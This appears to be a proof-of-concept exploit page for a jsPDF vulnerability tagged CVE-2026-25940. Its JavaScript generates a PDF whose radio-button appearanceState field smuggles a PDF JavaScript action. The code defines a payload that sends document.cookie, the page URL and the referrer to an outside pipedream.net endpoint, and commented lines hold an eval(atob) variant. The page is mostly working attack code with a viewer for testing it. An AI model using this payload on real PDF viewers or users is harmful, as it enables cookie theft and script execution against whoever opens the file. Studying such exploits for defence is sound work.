README.md
Rendering markdown...
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>jsPDF CVE-2026-25940 Viewer PoC</title>
<style>
body { font-family: "IBM Plex Sans", Arial, sans-serif; margin: 0; padding: 16px; background: linear-gradient(135deg, #0f172a, #111827); color: #e5e7eb; }
h1 { margin: 0 0 12px; font-weight: 600; letter-spacing: -0.02em; }
p { margin: 6px 0 12px; color: #cbd5e1; }
button, input[type="file"] { margin-right: 8px; padding: 10px 14px; border: 1px solid #334155; border-radius: 8px; background: #1f2937; color: #e5e7eb; cursor: pointer; }
button:hover { background: #273549; }
.controls { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; margin-bottom: 12px; }
.layout { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; height: 80vh; }
.panel { background: #0b1020; border: 1px solid #1f2937; border-radius: 12px; padding: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.3); }
canvas { width: 100%; border: 1px solid #1f2937; border-radius: 8px; background: #0f172a; }
iframe { width: 100%; height: 100%; border: 1px solid #1f2937; border-radius: 8px; background: #fff; }
small { color: #94a3b8; }
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/4.1.0/jspdf.umd.min.js"></script>
<!-- pdf.js primary CDN via jsDelivr (version pinned) -->
<script src="https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.min.js" crossorigin="anonymous"></script>
<script>
let pdfjsLib;
async function ensurePdfJs() {
if (pdfjsLib) return pdfjsLib;
// First try global from the UMD build.
pdfjsLib = window.pdfjsLib;
if (pdfjsLib) {
pdfjsLib.GlobalWorkerOptions.workerSrc = "https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.worker.min.js";
return pdfjsLib;
}
// Fallback to ESM build (helps when CDN blocks UMD).
try {
pdfjsLib = await import("https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.min.mjs");
pdfjsLib.GlobalWorkerOptions.workerSrc = "https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.worker.min.mjs";
} catch (err) {
console.error("Failed to load pdf.js via CDN", err);
}
return pdfjsLib;
}
async function ensureJsPDF() {
if (window.jspdf && window.jspdf.jsPDF) return window.jspdf.jsPDF;
try {
const mod = await import("https://cdn.jsdelivr.net/npm/[email protected]/dist/jspdf.umd.min.js");
return mod.jsPDF;
} catch (err) {
console.error("Failed to load jsPDF", err);
return null;
}
}
async function generateMaliciousPdf() {
const jsPDF = await ensureJsPDF();
if (!jsPDF) return;
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
// child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
const script = 'fetch("https://3b01c17073db791fa7d328bbfa08103f.m.pipedream.net?cookie=" + encodeURIComponent(document.cookie) + "&userAgent=" + encodeURIComponent(window.location.href) + "&referrer=" + encodeURIComponent(document.referrer)).then()?.then?.() || 1';
// const script = 'eval(atob("Y29uc29sZS5sb2coJ3hzc3MnKXx8IHdpbmRvdy5jb25zb2xlLmxvZygnWFNTJykp"))';
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS');throw new Error('XSS')) >> >>";
// child.appearanceState = `Off /AA << /E << /S /JavaScript /JS (${script}) >> >>`;
// Note: Some viewers may block alerts but still execute JS, so we use a fetch to demonstrate execution without relying on alert().
// The fetch will send data to the specified URL, which can be observed in a service like Pipedream or RequestBin.
// Adjust the URL and parameters as needed for your testing setup.
// doc.save("malicious.pdf");
const blob = doc.output("blob");
loadPdfBlob(blob);
}
function loadPdfBlob(blob) {
const url = URL.createObjectURL(blob);
// Feed iframe for native viewer behavior
document.getElementById("nativeFrame").src = url;
// Render first page via PDF.js to capture potential parsing paths
renderWithPdfJs(url);
}
async function renderWithPdfJs(url) {
const lib = await ensurePdfJs();
if (!lib) return;
const loadingTask = lib.getDocument(url);
const pdf = await loadingTask.promise;
const page = await pdf.getPage(1);
const viewport = page.getViewport({ scale: 1.2 });
const canvas = document.getElementById("pdfjsCanvas");
const ctx = canvas.getContext("2d");
canvas.width = viewport.width;
canvas.height = viewport.height;
await page.render({ canvasContext: ctx, viewport }).promise;
}
async function handleFileInput(event) {
const file = event.target.files[0];
if (!file) return;
loadPdfBlob(file);
}
window.addEventListener("DOMContentLoaded", () => {
document.getElementById("generateBtn").addEventListener("click", generateMaliciousPdf);
document.getElementById("fileInput").addEventListener("change", handleFileInput);
});
</script>
</head>
<body>
<h1>jsPDF CVE-2026-25940 Viewer</h1>
<p>Generate the PoC PDF or load an existing sample to observe viewer behavior (alerts may be blocked by your PDF handler).</p>
<div class="controls">
<button id="generateBtn">Generate PoC PDF</button>
<input id="fileInput" type="file" accept="application/pdf" />
<small>Use the iframe to exercise native/browser PDF handling; the canvas uses PDF.js for parsing.</small>
</div>
<div class="layout">
<div class="panel">
<h3>Native/Browser Viewer</h3>
<iframe id="nativeFrame" title="Native PDF Viewer"></iframe>
</div>
<div class="panel">
<h3>PDF.js Render</h3>
<canvas id="pdfjsCanvas"></canvas>
</div>
</div>
</body>
</html>